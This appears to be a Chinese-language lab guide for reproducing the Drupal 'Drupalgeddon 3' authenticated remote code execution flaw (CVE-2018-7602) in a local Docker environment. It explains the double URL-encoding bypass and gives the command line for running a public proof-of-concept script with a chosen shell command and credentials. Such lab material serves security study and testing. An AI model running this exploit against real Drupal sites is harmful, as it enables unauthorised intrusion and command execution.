# Drupal Drupalgeddon 3 后台远程代码执行漏洞(CVE-2018-7602) Drupal是一个使用PHP编写的免费开源的Web内容管理框架。 在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。 参考链接: - - - ## 环境搭建 执行如下命令启动一个存在漏洞的Drupal 7.57服务器: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8081/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。 安装过程中,请记住你创建的账户信息,因为需要用它来利用漏洞。 ## 漏洞复现 使用来自[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC,执行以下命令来利用漏洞: ``` # 将"id"替换为你想执行的命令 # 第一个"drupal"是用户名,第二个"drupal"是密码 python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/ ``` 如下图红框所示,命令成功执行: ![](1.png)